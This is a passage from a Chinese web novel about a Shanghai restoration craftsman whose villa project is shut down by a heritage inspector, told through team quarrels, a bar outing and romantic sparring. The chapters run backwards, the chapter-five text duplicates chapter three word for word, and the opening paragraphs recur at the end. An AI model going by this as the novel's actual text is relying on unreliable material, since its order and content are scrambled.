最后他雕了扇牡丹纹样窗,趁着晨雾最浓时架在弄堂口,露水凝在花瓣上折出的倔强身影,硬是让老古董们改了主意。 好吧,也许还有他低于市场的报价帮忙打辅助。 对当时的团队来说,口碑、履历比短期利益值钱。 如今那扇窗前却挤满打卡的网红,窗台上搁着杯喝剩的星冰乐,双孔吸管立在那里像根讽刺的银针。 也许杨灵是对的,修得再好也架不住金钱的腐蚀,传统那套有点跟不上时代了。 可是转念一想,若真跟不上时代了,又怎会成网红景点呢? 游客们在裂痕前合影,惊叹科技复刻的完美成像,而真正的永恒,正在被时光的筛子摇晃。 所谓‘过时’不过是新潮对永恒的拙劣模仿,唯有匠人手掌的余温,永不过时! 他踢着愚园路的石子往前走,陈禹发来微信,定位图配文‘砚哥,菊正宗温好了’。 石子惊飞路边的玳瑁猫,那猫窜上青砖墙的姿势让他想起青浦宗祠——为保住墙面的天然苔痕,他带着工人给每块砖敷保湿面膜。 那时老周还抱着面膜碗笑骂道,咱们改行开美容院算了! 却是他奋斗的缩影。 如今那些苔痕被游客摸得油亮,倒成了点评网站推荐的‘岁月滤镜’。 “喂?” “哎呀您是陆先生吧!都跟你说了好几次了,您的医保再不用就过期了!现在我再发一条短信链接给您......” 不是伏笔,这是纯诈骗。 就连他们的话术都在与时俱进,陆砚好几次信以为真。 转角来到武康大楼前,穿旗袍的老太太在擦拭石库门铜环,她的绒布拂过门钉的节奏,恰好撞上印象中师父熬骨胶时搅动陶罐的韵律。 ‘回到过去’的钥匙就藏在日复一日的琐碎中。 原来时间才是最顶尖的匠人! 把执念磨成包浆,把抗争熬成妥协! 无边的压抑化为沉郁的孤独在汹涌人群里精准命中他,他有好多话想说,却不知从何谈起。 “帅哥,拼个桌伐?”雾霾蓝发色的女孩从露天咖啡座探出身,手机壳上的玲娜贝儿挂件晃得人眼花,“侬是小红书刷到阿拉的街头采访伐?” 她贴着碎钻甲片的手指向镜头,“观众老爷们投票说侬像那个......那个''在逃工地王子''!” 陆砚愣神的功夫,她同伴已把自拍杆怼过来:“哥哥缺女朋友伐?阿拉闺蜜刚恢复单身,年薪五十万起跳!” 镜头掠过他的下颌线,工装领口松开的纽扣在夕阳里泛着铜色。 “勿好意思,等宁。”他用上海话搪塞,抓起工具箱往襄阳北路走。 身后飘来女孩们的嬉笑:“册那,高冷款更戳G点!” 陆砚汗颜,伤感也被这一幕赶走。 果然女人是生活的风向标,这话没错。 想到自己今年年底就满28岁却还孑然一身,饶是坚定的保守派也不免会有激进的想法...... 要不退回去要个微信?就当给直播间的老哥们整点节目效果了。 ...... ‘破吉他’音乐酒吧门帘上的歇山顶手绘图褪成了鸭蛋青色。 七八张方桌只坐了零散几人,木质桌椅和暖黄吊灯在这片空间撞出温和的氛围。 “阿乐,再调一杯威士忌。” 阿乐是这家酒吧的调酒兼老板,一提到他就想到不那么亮堂的灯光和身后堆放的四台银质精酿发酵桶。 名字乍听像个毛头小子,其实人家想走的是余文乐路线。 陈禹的戒指在吧台敲出脆响:“我去看过了,杨博士那封条贴得真叫个密不透风。” “嗯。” “要我说,这项目干脆......” “你又能说上话了?”阿乐拧着两个装满精酿的火焰杯,火速插入话题,“这才喝到哪啊!” 原说吧台调酒应当是倾听者和情绪价值提供者才更利于生意和口碑经营,但这套不适用熟客。 相识一年多,俩人早在前三个月就把阿乐所有的耐心和温柔吃得一干二净,尤其是陆砚刚分手那阵子...... 直到现在都记得他的床是如何被那个男人蹂躏的! “哥们明明点的是威士忌啊。” “桶底最后的精华,不给你俩喝可惜了。” “只要不是卖不出去、专门丢这里销货就成。”陆砚不挑,反正来这里有酒往肚里灌就行。 总不能喝到假酒吧? 站在一边,阿乐敏锐察觉哥俩今天有事要聊,赶紧给自己端杯酒赖这桌不走了。 嗯,调酒师果然善于倾听。 陆砚接着未说完的话题接着聊:“项目是老杨头亲自交代给我的,这么多年就一次。” 对外他是同济古建工程杨老师、杨泰斗的关门弟子,实则工作上的事除开刚入行那两年,师徒很少交流。 主要杨启文没兴趣,其次陆砚也抹不开面。 难不成三天两头就喊‘老师、菜菜、捞捞’? 都是专业人士,谁还不好点小面? “哎呀,这不是做不成了嘛......那不然你们就按文保局的方案做呗!” “还记不记得,你大三偷拿我斗拱图纸参赛时,”陆砚用烧鸟签戳着桌面木纹,“评委那句''匠气过重'',现在倒成褒义词了。” 竹签自然没有在桌面留下划痕,也是直到今天他才相信,人脆弱起来竟会和竹签共情。 他对杨灵道过歉、鞠过躬,笑过、恼过、质问过,但是对方无动于衷,冷漠得像个杀手。 那个女人,猜不透、搞不懂,也搞不定。 有的事情就是折断了腰,也不会有半分改变! 三人碰杯。 “她那套监测系统,比你开发的仿古瓷砖还弄巧成拙。” 陈禹的笑声卡在喉咙变成咳嗽,仿古瓷砖是他事业的第一桶金,虽然华而不实且涉嫌夸大宣传,但利润高啊! 不清楚他葫芦里到底卖的什么药,陈禹和阿乐单独碰了个,俩人相视一笑。 絮絮叨叨聊了大学往事,当时陆砚是个‘呆子’,不娱乐不恋爱只搞专业,上课、实操作业、寝室三点一线。 奈何点到点之间需要用腿来填补距离,过程中班级事务、社团活动产生的各种交际搞得他烦不甚烦,于是就拿陈禹的微信挡箭,阴差阳错成就了他如今的婚姻。 事后得知真相,陈禹郁闷了好一阵,这是俩人头一次吵红脸。 “咚!” 不一会阿峰又自掏腰包送了两杯啤酒,拇指无意识摩挲杯壁冷凝水,直到听见陈禹说:“上周南京聚会,林晚声有问起你.....” 林晚声是谁? 噢,是晚声,现在只能喊林晚声了。 一张明媚的脸闯进了微微酒醉的大脑,在心底名为‘思念’的种子被这春风一吹又有复生的迹象。 分手一年了,怎么最近全是她! 陆砚想走了,阿乐也预料到陆砚要走了,没有人比他更懂这个话题之于陆砚的禁忌性。 那是一段悲伤的往事,堪称从业以来的滑铁卢...... “先走了——” 反正有阿乐陪着在,倒也不至于冷落了那位哪壶不开提哪壶的好兄弟。 要说冷落,过去的回忆碎片就像玻璃渣子烂在肉里,提起她心就颤! 外套掀过门帘上的歇山顶图样,留下陈禹一人独坐在吧台边,冰球在威士忌杯里浮沉,折射他嘴边无奈的笑。 ...... 南京西路的霓虹在云层洇出紫红斑块,像块旧时的伤疤。 初恋女友多是男人心中的刺,直到现在他都记得,初见一身白裙的她抱着吉他在‘小酒馆’唱歌。 当时心脏酥酥麻麻的。 之后陆砚常去小酒馆捧场,酒量就是那个时候变好的。 而且永远要迟些离开。 缘分往往从一声简单的‘你好’开始,那时候他们会说说话,聊的都是理想彼岸和天上星空。 只是两人最终走向分手,那天她笑道,‘不要把这根拖把弄丢了,也不准用水洗,那上面有我种的蘑菇’。 这便是‘林式’幽默。 据说这年全国到处跑,创作圈有闯了些名气,还准备发专辑。 没想到白驹过隙,听陈禹只言片语,她似乎快回上海了。 彼时又该如何待尔? 以微笑?以眼泪? 命运让两人在最美的年华互相看对了眼,却让他们败倒在严峻现实之下。 为什么世界那么复杂而人偏偏追求简单,为什么明明相爱的两人要以悲剧收尾? 为什么人间有月亮?为什么四季要歌唱? 手机震醒休眠屏,洒水车正哼着《茉莉花》驶过,水雾在路灯下织了道转瞬即逝的光晕。 “明早九点来局里,”师父的声音一向精神,“带上骨胶和配方。” 局自然是跟老杨头关系深厚的住建局,骨胶配方则是陆砚自己的独家配方。 假使不是上学时候被老杨头挑中,他高低会凭着骨胶配方那篇论文以及专利,去申请读个研也说不准。 “瓦当藏星,飞檐挂月——别让乡愁失去栖身的屋檐!” 电话挂断那刻,转角广告屏亮起一则古建保护宣传片,镜头画面不足以呈现她的气质,但看上去不输任何一位靠脸吃饭的明星。 杨灵站在他才修复好的门廊下说‘让历史呼吸’,监测仪蓝光在身后明灭,像暗夜里的萤火虫。 呵呵...... 第五章 崩就彻底崩 非要较劲的话,‘停工整顿’的条子只有贴在老洋房正大门上,然后用封条彻底封起来才算作数。 陆砚心想,万一她以为把条子给我就完事了,反而忘记给老洋房贴条了呢? 万一杨老头那边突然给力了呢?这停下不是浪费时间? 总之理论上......项目还有转机。 “张野,监察组的意见书给他们看了吗?” “都看过了,那些人跟咱们分歧挺大的。” “说什么危房风险、停工整顿,其实就是想在施工上指手画脚吧!”小赵用激光笔圈着杨灵的监测报告:“她说咱们的胶水固化时间超标,建议换环氧树脂。” 晨光穿过老洋房残缺的彩玻璃,在墙面投下如病历表格的光斑。 三个主要争议点钉在临时黑板:木构件加固工法不符《近现代建筑修缮标准》、自然通风方案未通过CFD气流模拟、手工测绘误差率超住建局规定阈值。 说实话,他们都很蒙圈。 扎着长发的赵立言,也就是搞彩绘的小赵,看向歪坐着的小李,俩人都是二十五六的年纪。 “现在都是新型材料,高科技,咱们也得跟上时代了。”小李拿纸擦嘴,继续说道,“其实监察组的意见也不算太过分......” “砰!”搞木工的老周摔下量尺,震起浮灰:“小伙子你看清楚没咯!他们要求用石膏线仿雕花梁呐,这是诚心做保护吗!” 他们诚不诚心不确定,老周肯定是一心一意做文保的。 但......这是理念上的冲突! 几人近前播散和气。 这位年近六十的老测绘员脖筋暴起,手里攥着半块没吃完的葱油饼——那是他小女儿硬塞的早餐。 “周叔,好好的别发那么大火气啊,”陆砚搂着老周的肩膀,“聊天儿嘛。” “对嘛!” “是啊,聊天儿嘛。”张野、小赵附和,试图把话题裂痕粘合回来——就像修木构件一样。 “那好,老周的那块不改,我的活也能全力配合,问题是人家监察组能答应嘛?” 老李和小李一个姓,平时走得近自然要帮着说话,此刻冷不丁补了一刀。 这家伙和众人不一样,四十多岁的年纪,上有老下有小,车贷房贷没断,年纪大压力大说话更务实、更直接。 “周叔,您先别恼我,”小李摸出计算器按得噼啪响,“老李闺女下月考研集训,要交二万二,房贷和信用卡也不得少。”又翻开账本,夹层露出少儿美术培训广告,“还有小赵,已经去试课了,教小孩画藻井彩绘比修真迹来钱快。” 老周沉默,让陆砚想起石库门门前、杨老头邻居晾衣杆下的鱼干。 比鱼干更干的,是每个人不由动摇的立场。 另一头的老李本就话少,摸出烟盒去到门口站着,两鬓渐白的头发在晨光下甚是扎眼。 类似的谈话不是没有过,只是每每到最后都成了诉苦大会,会议主旨也一直没变过——缺钱! 而钱去哪了呢? 还有一个半项目的尾款拖着没结呢! 对,那‘半个’就是已经被拆除了的石库门连排房。 张野斟酌片刻,还是压低声音说:“陆哥,老李说接了个民宿改造的私活,明天......” 话到这步,懂得都懂。 接私活嘛,正事肯定要给私事让步的。 毕竟整个行业就他们最辛苦、最委屈、最该发财。 陆砚若无其事,用游标卡尺拨开塑料袋,油渍已经在《营造法式》复印件上晕出个月牙。 一个团队六个人,张野是施工员,老周负责质量监测兼木工,小李材料采购和后勤,老李是瓦作修复,小赵做彩绘保护。 现在项目不知道什么时候重启,就是重启了回款也不知道要等到猴年马月...... 偏生人家急用钱,还能拦着跟他闹? 怨不得人,停工整顿只是个引爆冲突的导火索,深埋在底下的问题迟早都要面对。 依稀记得老杨头的原话: “姓周的性子倔,小李恨捞不到油水,大李包袱重,小赵心不静,张野......不评价” 自己呢?好像全占了。 张野站起来点根烟,吐出一口惆怅,陆砚还在神游。 看着飘忽的烟雾,脑海响起那阵清冷的声音。 一长串咕噜话怎么说来着? ‘要是不熟悉《文物保护法》和《文物保护单位保护管理办法》,至少请你们检查一下自己朴素的生活常识’。 不由莞尔,“散了吧。”拉着张野说:“以后别在老洋房抽烟了。” 小李面带不忿,先一步离场,众人化作鸟兽散。 张野耷拉脑袋一副阳痿的口吻,“陆哥,下次什么时候能进来都说不准了。” ...... 上午十点的阳光分外灿烂,陆砚踢开脚边的空饮料瓶,适才散得匆忙连垃圾也没收走。 素质确实有待提高。 手机震了三声,杨启文的声音混着叽喳鸟叫传来:“那丫头按规章办事,你压压脾气......” 话听着耳熟。 自己安慰应付张野的时候不也这么说的吗。 也许杨老头和自己当时一个心情? 好巧不巧,对方掐断通话时,杨灵白衬衫的衣角正掠过门廊,阳光下,执法记录仪在腰间晃得像块银质令牌。 “陆师傅的团队撤得够快,比危房监测数据刷新还利索。”今天只有一个人,如果不是手里拿着封条陆砚还真想和她聊聊。 想必张野他们走的时候被她撞见了,这是在调侃? “托您的福,现在我能凑齐五个人开黑的队友,都算过命的交情。” “我也没办法,西侧梁柱倾斜率1.02%,理论上说,达到0.7%足够启动危房审查流程。” 当一个人心有不满的时候,对方说什么都像是挑衅。 陆砚突然掀开墙面遮挡布:“看清楚了!有没有可能这是1935年施工队故意做的泄力倾角!” “可是我们要按照现在的标准来下定论。” 杨灵推了推防蓝光眼镜,接着贴封条,胶水刷过雕花门框时,黏住了几根翘起的木刺。 好一副‘诗情画意’的模样。 “杨博士眼里容不得半点沙子?百年老房子按现在的标准下结论?” 现实就是这么奇怪,当年没这个倾角便是‘不专业’,而今整个项目却因为曾经过于专业而陷入‘危情’。 杨老头不劝还好,他既然提到了陆砚还真多少有点情绪,抓起激光测距仪对准她鼻尖: “那您测测现在咱俩的安全距离合不合规范?” 红光在她眉心晃成个小太阳,“三米二——按住建条例是不是该报警了?” “你的幽默感要是能转化成功率,老洋房昨天就该自动翻新了。”她侧身避开光束,有些不悦,“顺便提醒,阻挠正常程序可以追加处罚。” “不敢不敢,我就是好奇,您这标准要是用在选男朋友上,身高差超过三厘米是不是得直接淘汰?” 陆砚也不想被情绪左右,可话赶着话,情绪自诞生起,以某种方式宣泄出去就成了它的宿命。 有的人选择把它物归原主,有的人则任由它在身体里撞,震得五脏肺腑都不得安生。 显然,此刻陆砚选择了前者。 “我没这么无聊,我的仪器也不负责测量这种无聊数据。” “巧了,我的水平仪倒是测出来——”他憋着股劲,猛地拉开窗帘,准确说是一块落满灰尘的布,阳光洪水般涌进来,“杨博士今天的口红颜色比安全警戒线还红三个色号。” 这句话让她耳尖动了动,像被惊扰的雀鸟,脸上写满防备。 封条突然被穿堂风掀起一角,她伸手去按时,陆砚的手‘哐’地压住另一端:“您说这老木头要是有知觉,是愿意被数据判死刑,还是让懂它脾性的匠人修修补补再活十年?” 两人离得很近,陆砚笑了笑,他想起来顾南乔也是用这招逼她就范的。 如今倒是有点精神胜利的感觉。 “我不是判官,是‘医生’。病危通知书不代表放弃治疗,是要更谨慎......” “谨慎到给它裹上保鲜膜等腐烂?数据能当饭吃吗?” “我的职责是确保修缮过程合规合法,至于陆师傅的被害妄想——”她直视陆砚,睫毛在眼下投出颤动的阴影,“建议咨询专业机构。” 有病就去治,呵,文化人连骂人都拐弯抹角。 就和毙掉这个项目一样,哦对了,美其名曰‘停工整顿’。 引线点燃某种不该有的情绪,他还是以轻快的口吻说:“行啊,杨博士就守着您那套程序正义当圣旨!等这房子塌了,记得在废墟上立块碑——刻上‘死于绝对合规’哟!” 好话没用,那索性谁也不惯着谁了,陆砚是这样想的。 门框在他离开的响动中簌簌落灰,杨灵捏着最后一张封条僵在原地,白皙的脸上保留着一种未经雕琢的钝感。 第四章 停工整顿 随着晚高峰的人流挤出陕西南路站,工具箱里的墨斗被撞落在地,棉线在花岗岩上蛇行出歪扭的轨迹。 就像他近期的运势一样——具可靠消息称,‘停工整顿’十有八九跑不掉了。 有句歌词是那么写的,曾经我也想过一了百了,因为鞋带松开了,不擅长系起。 陆砚的情况当然没有这么糟糕,总归是不太好的。 手机屏亮起施工群消息——老李在装修工地的自拍里举着罗马柱模具,小赵转发的儿童画班广告赫然写着‘十分钟速成古风彩绘’。 瓦作修复的老李和彩绘保护的小赵都是陆砚团队里的人,他们的活往往在项目中后期才有大动作,所以闲暇时段做做小活很正常。 “砚哥!老胡组的酒局,来撑个场?”陈禹的嗓门混着麻将洗牌声炸响。 老胡是文旅局搞项目审批的,进步的心从来没有,八卦的心倒是时刻沸腾。 “赶工呢,杨老头的招牌不能砸我手里。” 说着,往前几步用脚钩回墨斗线。 陈禹的笑声像砂纸磨过旧梁木:“还跟大学时似的,抱着老手艺当宝贝,当年......”他突然刹住话头,背景音里传来麻将碰撞的响声。 “...” “...” “正好,你跟老胡打听个人,杨灵。” “噢好......嗯?”那头似乎有些吃惊,“齐活了!局里都在传这姑娘......” 托文旅局的人打听文保局的消息这很正常,它本就是其内设单位。 “工作上有点交际,你别打岔,电话给老胡。” “害,问我就行了,这漂亮姑娘可了不得,空降兵,27岁的海归博士生,听说还一年能提前毕业。” “怎么着,这像是官二代的配置啊?”撇了撇嘴,更是胸闷。 陆砚后颈的晒斑在霓虹下泛红,那道分界线好似老宅里新旧墙面的接缝。 不过因为师从杨启文的缘故,他自是倾向‘旧墙面’。 “谁知道呢咱也就私下八卦......你别说,那姑娘真像大明星......” 恒隆广场的玻璃幕墙正播放智能家居广告,金发女郎抚摸着温控墙面说‘传统需要进化’,他忽然觉得自己被时代落在了身后。 印象中,应该是一家老少来拍家居广告,一人一句词其乐融融,以便传递家的温暖。 没来得及长吁短叹,房产中介小哥拦住他推销法租界老洋房改造项目,宣传册上的‘修旧如旧’四字套着粉色爱心,标价后面跟着七个零。 这又预示着什么?陆砚难得感性: 原来坚持情怀不值钱,好的营销才是最贵的。 这些年做的项目,如果多一些商业化包装,是不是就不会走到今天这步了...... 呸呸呸! 算了先吃饭。 这淮海路是黄浦区的淮海路,香榭丽舍大街就位于此路段。 陆砚推开便利店的玻璃门时,关东煮锅腾起的热气在‘第二件半价’标牌上凝出水珠,他数着签子要了几串萝卜、竹轮和最后一串北极贝,店员小妹多舀了勺汤——这是她给常客的无声安慰。 如果不是,那便是陆砚自己给自己的安慰! 接过纸碗还没坐下,文件沙沙翻动。 杨灵推门带进的夜风掀动陆砚的文件,市文保局的章印在‘传统工艺预算表’上泛着冷光。 她身后穿米白风衣的女人侧着头一只手摘香奈儿耳钉,珍珠光泽泛着奢华的腔调。 “杨博士也来体察民情?”陆砚扬起竹签笑得像便利店招牌。 即使这个女人有用权力消遣他的嫌疑,现在也没生出恶意,或许漂亮女人都有类似的豁免权。 她换上便服,更是清丽动人,就像晨雾中的玉兰花。 倒是身后的那位先搭话:“我们在普查历史建筑,顺便来体察民情,哈哈。” “那......政府派来的监察员要不要尝尝民间智慧?” 他抽出便利店坐着永远不舒服的椅子坐下,推过刚出锅的萝卜串,顺便与顾南乔交换了姓名。 辣酱在杨灵的文件袋前像极了晚霞。 “不用,我们不熟。” 果不其然是个‘清官’。 这老洋房相遇她,怕不是个孽缘。 所谓男人的风度也快用尽了。 本就无所求,又怎会三番五次的讨好示意呢? 你有你的康庄道,我自有我的独木桥! 再回眼,她不食人间烟火的形象差点破碎——手扶额、垂着头,一副耻与为伍的样子—— “淮海路项目福利,帅哥浓度超标!” 顾南乔在偷拍他仰头喝汤的喉结,顺便发了闺蜜群。 行为之放肆,手机壳上的天秤挂坠甚至一度晃到陆砚的眼睛: “陆师傅该去拍古建保护宣传片,拯救文物局官网点击率。” 有眼光! “他的施工方案错误率会导致宣传片变成警示教育片。” “喂,伸手不打笑脸人,一晚上没开口,开口就挤兑人,没你这样低情商的啊!”陆砚见缝插针,此刻有种摆烂后的轻松。 但是下一秒念头又起,要是能混点私下交情,说不准项目上也能曲线救国呢。 “是啊是啊,灵灵,出来混要讲人情世故额~” 小囡说起上海话很是婉转,以后百灵鸟的称号可以考虑给她。 顾南乔放下手机,一个箭步贴上杨灵,陆砚可以笃定两人之间距离不超过10公分! “说实话!” 被闺蜜狭促的眼神拷打,杨灵下意识伸手扶眼镜,可手到半截又觉得弱了气势,于是强作镇定回应: “其实,陆师傅的领口设计很有解构主义风格。” 脱线的牛仔领让她想起MIT实验室里解构的斗拱模型,那些被拆分成XYZ轴的木构件,此刻正以奇怪的方式在这个男人身上重组。 这自然是她未能说出口的话。 而陆砚的文青病今天也是犯得很彻底: 那姑娘说话时、嘴角扬起的弧度恰够接住一片飘落的桃花,但是话到嘴边又变了味了: “哎呀,杨博士的脑回路要是能申请专利,洋房项目早超额完工了。” 提起项目,杨灵方才还有笑意的嘴唇抿成一块冰,疏离感扑面而来。 蛋糕知道吧,突然炸开了,转眼之间凝固成一头白森森的北极熊。 陆砚认为,她的脸色转变就和这个描述一样突兀。 天见犹怜,刚才真没有那么多心思,不是在试探她口风! “...” “哎呀,沉默也能交流?你们俩的加密对话需要翻译吗?收费两串鱼豆腐。” 顾南乔适时卡进来。 呼! 场面又有了呼吸。 陆砚懂事的又拿了两串鱼豆腐放纸碗里递给她,嗓子挤出派大星声线,“谢谢顾翻译今天友情出场。” “陆师傅,甭可客气的嘞!” 顾南乔被逗得哈哈大笑,接下纸碗,分一串给杨灵,说: “其实陆师傅个腹肌写真嘛,冲冲账也过得去呃!” 嗯,上海姑娘待人接物甚是大方。 反观另一位,还是那么冷淡,眼睛根本没往这边看。 吃倒是吃了,这是不是意味着关系缓和的开始呢......难懂! ...... 地铁末班车的荧光屏滚动着欢乐,陆砚缩在车厢夹角,对面玻璃叠着三重影子: 穿洞洞鞋的男孩踩着他的影子上,公文包男人撞开女人抢座,而林晚声的幻影正把耳机塞进他右耳,哼歌时的热气像那年老宅穿堂风。 他摸到裤袋里杨灵临走前递来的通知单,‘停工整顿’,这女博士是来真的! 怎么办? 如果眼下一切都是因为前天不小心泼下的糯米胶,那他接受命运的惩罚。 只是,会不可避免的记恨上那个女人! 第三章 所谓时代耗材 非要较劲的话,‘停工整顿’的条子只有贴在老洋房正大门上,然后用封条彻底封起来才算作数。 陆砚心想,万一她以为把条子给我就完事了,反而忘记给老洋房贴条了呢? 万一杨老头那边突然给力了呢?这停下不是浪费时间? 总之理论上......项目还有转机。 “张野,监察组的意见书给他们看了吗?” “都看过了,那些人跟咱们分歧挺大的。” “说什么危房风险、停工整顿,其实就是想在施工上指手画脚吧!”小赵用激光笔圈着杨灵的监测报告:“她说咱们的胶水固化时间超标,建议换环氧树脂。” 晨光穿过老洋房残缺的彩玻璃,在墙面投下如病历表格的光斑。 三个主要争议点钉在临时黑板:木构件加固工法不符《近现代建筑修缮标准》、自然通风方案未通过CFD气流模拟、手工测绘误差率超住建局规定阈值。 说实话,他们都很蒙圈。 扎着长发的赵立言,也就是搞彩绘的小赵,看向歪坐着的小李,俩人都是二十五六的年纪。 “现在都是新型材料,高科技,咱们也得跟上时代了。”小李拿纸擦嘴,继续说道,“其实监察组的意见也不算太过分......” “砰!”搞木工的老周摔下量尺,震起浮灰:“小伙子你看清楚没咯!他们要求用石膏线仿雕花梁呐,这是诚心做保护吗!” 他们诚不诚心不确定,老周肯定是一心一意做文保的。 但......这是理念上的冲突! 几人近前播散和气。 这位年近六十的老测绘员脖筋暴起,手里攥着半块没吃完的葱油饼——那是他小女儿硬塞的早餐。 “周叔,好好的别发那么大火气啊,”陆砚搂着老周的肩膀,“聊天儿嘛。” “对嘛!” “是啊,聊天儿嘛。”张野、小赵附和,试图把话题裂痕粘合回来——就像修木构件一样。 “那好,老周的那块不改,我的活也能全力配合,问题是人家监察组能答应嘛?” 老李和小李一个姓,平时走得近自然要帮着说话,此刻冷不丁补了一刀。 这家伙和众人不一样,四十多岁的年纪,上有老下有小,车贷房贷没断,年纪大压力大说话更务实、更直接。 “周叔,您先别恼我,”小李摸出计算器按得噼啪响,“老李闺女下月考研集训,要交二万二,房贷和信用卡也不得少。”又翻开账本,夹层露出少儿美术培训广告,“还有小赵,已经去试课了,教小孩画藻井彩绘比修真迹来钱快。” 老周沉默,让陆砚想起石库门门前、杨老头邻居晾衣杆下的鱼干。 比鱼干更干的,是每个人不由动摇的立场。 另一头的老李本就话少,摸出烟盒去到门口站着,两鬓渐白的头发在晨光下甚是扎眼。 类似的谈话不是没有过,只是每每到最后都成了诉苦大会,会议主旨也一直没变过——缺钱! 而钱去哪了呢? 还有一个半项目的尾款拖着没结呢! 对,那‘半个’就是已经被拆除了的石库门连排房。 张野斟酌片刻,还是压低声音说:“陆哥,老李说接了个民宿改造的私活,明天......” 话到这步,懂得都懂。 接私活嘛,正事肯定要给私事让步的。 毕竟整个行业就他们最辛苦、最委屈、最该发财。 陆砚若无其事,用游标卡尺拨开塑料袋,油渍已经在《营造法式》复印件上晕出个月牙。 一个团队六个人,张野是施工员,老周负责质量监测兼木工,小李材料采购和后勤,老李是瓦作修复,小赵做彩绘保护。 现在项目不知道什么时候重启,就是重启了回款也不知道要等到猴年马月...... 偏生人家急用钱,还能拦着跟他闹? 怨不得人,停工整顿只是个引爆冲突的导火索,深埋在底下的问题迟早都要面对。 依稀记得老杨头的原话: “姓周的性子倔,小李恨捞不到油水,大李包袱重,小赵心不静,张野......不评价” 自己呢?好像全占了。 张野站起来点根烟,吐出一口惆怅,陆砚还在神游。 看着飘忽的烟雾,脑海响起那阵清冷的声音。 一长串咕噜话怎么说来着? ‘要是不熟悉《文物保护法》和《文物保护单位保护管理办法》,至少请你们检查一下自己朴素的生活常识’。 不由莞尔,“散了吧。”拉着张野说:“以后别在老洋房抽烟了。” 小李面带不忿,先一步离场,众人化作鸟兽散。 张野耷拉脑袋一副阳痿的口吻,“陆哥,下次什么时候能进来都说不准了。” ...... 上午十点的阳光分外灿烂,陆砚踢开脚边的空饮料瓶,适才散得匆忙连垃圾也没收走。 素质确实有待提高。 手机震了三声,杨启文的声音混着叽喳鸟叫传来:“那丫头按规章办事,你压压脾气......” 话听着耳熟。 自己安慰应付张野的时候不也这么说的吗。 也许杨老头和自己当时一个心情? 好巧不巧,对方掐断通话时,杨灵白衬衫的衣角正掠过门廊,阳光下,执法记录仪在腰间晃得像块银质令牌。 “陆师傅的团队撤得够快,比危房监测数据刷新还利索。”今天只有一个人,如果不是手里拿着封条陆砚还真想和她聊聊。 想必张野他们走的时候被她撞见了,这是在调侃? “托您的福,现在我能凑齐五个人开黑的队友,都算过命的交情。” “我也没办法,西侧梁柱倾斜率1.02%,理论上说,达到0.7%足够启动危房审查流程。” 当一个人心有不满的时候,对方说什么都像是挑衅。 陆砚突然掀开墙面遮挡布:“看清楚了!有没有可能这是1935年施工队故意做的泄力倾角!” “可是我们要按照现在的标准来下定论。” 杨灵推了推防蓝光眼镜,接着贴封条,胶水刷过雕花门框时,黏住了几根翘起的木刺。 好一副‘诗情画意’的模样。 “杨博士眼里容不得半点沙子?百年老房子按现在的标准下结论?” 现实就是这么奇怪,当年没这个倾角便是‘不专业’,而今整个项目却因为曾经过于专业而陷入‘危情’。 杨老头不劝还好,他既然提到了陆砚还真多少有点情绪,抓起激光测距仪对准她鼻尖: “那您测测现在咱俩的安全距离合不合规范?” 红光在她眉心晃成个小太阳,“三米二——按住建条例是不是该报警了?” “你的幽默感要是能转化成功率,老洋房昨天就该自动翻新了。”她侧身避开光束,有些不悦,“顺便提醒,阻挠正常程序可以追加处罚。” “不敢不敢,我就是好奇,您这标准要是用在选男朋友上,身高差超过三厘米是不是得直接淘汰?” 陆砚也不想被情绪左右,可话赶着话,情绪自诞生起,以某种方式宣泄出去就成了它的宿命。 有的人选择把它物归原主,有的人则任由它在身体里撞,震得五脏肺腑都不得安生。 显然,此刻陆砚选择了前者。 “我没这么无聊,我的仪器也不负责测量这种无聊数据。” “巧了,我的水平仪倒是测出来——”他憋着股劲,猛地拉开窗帘,准确说是一块落满灰尘的布,阳光洪水般涌进来,“杨博士今天的口红颜色比安全警戒线还红三个色号。” 这句话让她耳尖动了动,像被惊扰的雀鸟,脸上写满防备。 封条突然被穿堂风掀起一角,她伸手去按时,陆砚的手‘哐’地压住另一端:“您说这老木头要是有知觉,是愿意被数据判死刑,还是让懂它脾性的匠人修修补补再活十年?” 两人离得很近,陆砚笑了笑,他想起来顾南乔也是用这招逼她就范的。 如今倒是有点精神胜利的感觉。 “我不是判官,是‘医生’。病危通知书不代表放弃治疗,是要更谨慎......” “谨慎到给它裹上保鲜膜等腐烂?数据能当饭吃吗?” “我的职责是确保修缮过程合规合法,至于陆师傅的被害妄想——”她直视陆砚,睫毛在眼下投出颤动的阴影,“建议咨询专业机构。” 有病就去治,呵,文化人连骂人都拐弯抹角。 就和毙掉这个项目一样,哦对了,美其名曰‘停工整顿’。 引线点燃某种不该有的情绪,他还是以轻快的口吻说:“行啊,杨博士就守着您那套程序正义当圣旨!等这房子塌了,记得在废墟上立块碑——刻上‘死于绝对合规’哟!” 好话没用,那索性谁也不惯着谁了,陆砚是这样想的。 门框在他离开的响动中簌簌落灰,杨灵捏着最后一张封条僵在原地,白皙的脸上保留着一种未经雕琢的钝感。 第二章 背条款的女人 出老洋房后这天还剩一个尾巴,暮色像浸透茶汁的宣纸,沿着衡山路的梧桐叶脉晕染开来。 陆砚站在静安别墅区的铁艺拱门下,指尖抚过新修的雕花木窗。 两年前那个梅雨季,他带着团队在这里打攻坚战——七十二扇民国木窗被白蚁蛀得只剩骨架,业主坚持要换断桥铝。 最后他雕了扇牡丹纹样窗,趁着晨雾最浓时架在弄堂口,露水凝在花瓣上折出的倔强身影,硬是让老古董们改了主意。 好吧,也许还有他低于市场的报价帮忙打辅助。 对当时的团队来说,口碑、履历比短期利益值钱。 如今那扇窗前却挤满打卡的网红,窗台上搁着杯喝剩的星冰乐,双孔吸管立在那里像根讽刺的银针。 也许杨灵是对的,修得再好也架不住金钱的腐蚀,传统那套有点跟不上时代了。 可是转念一想,若真跟不上时代了,又怎会成网红景点呢? 游客们在裂痕前合影,惊叹科技复刻的完美成像,而真正的永恒,正在被时光的筛子摇晃。 所谓‘过时’不过是新潮对永恒的拙劣模仿,唯有匠人手掌的余温,永不过时! 他踢着愚园路的石子往前走,陈禹发来微信,定位图配文‘砚哥,菊正宗温好了’。 石子惊飞路边的玳瑁猫,那猫窜上青砖墙的姿势让他想起青浦宗祠——为保住墙面的天然苔痕,他带着工人给每块砖敷保湿面膜。 那时老周还抱着面膜碗笑骂道,咱们改行开美容院算了! 却是他奋斗的缩影。 如今那些苔痕被游客摸得油亮,倒成了点评网站推荐的‘岁月滤镜’。 “喂?” “哎呀您是陆先生吧!都跟你说了好几次了,您的医保再不用就过期了!现在我再发一条短信链接给您......” 不是伏笔,这是纯诈骗。 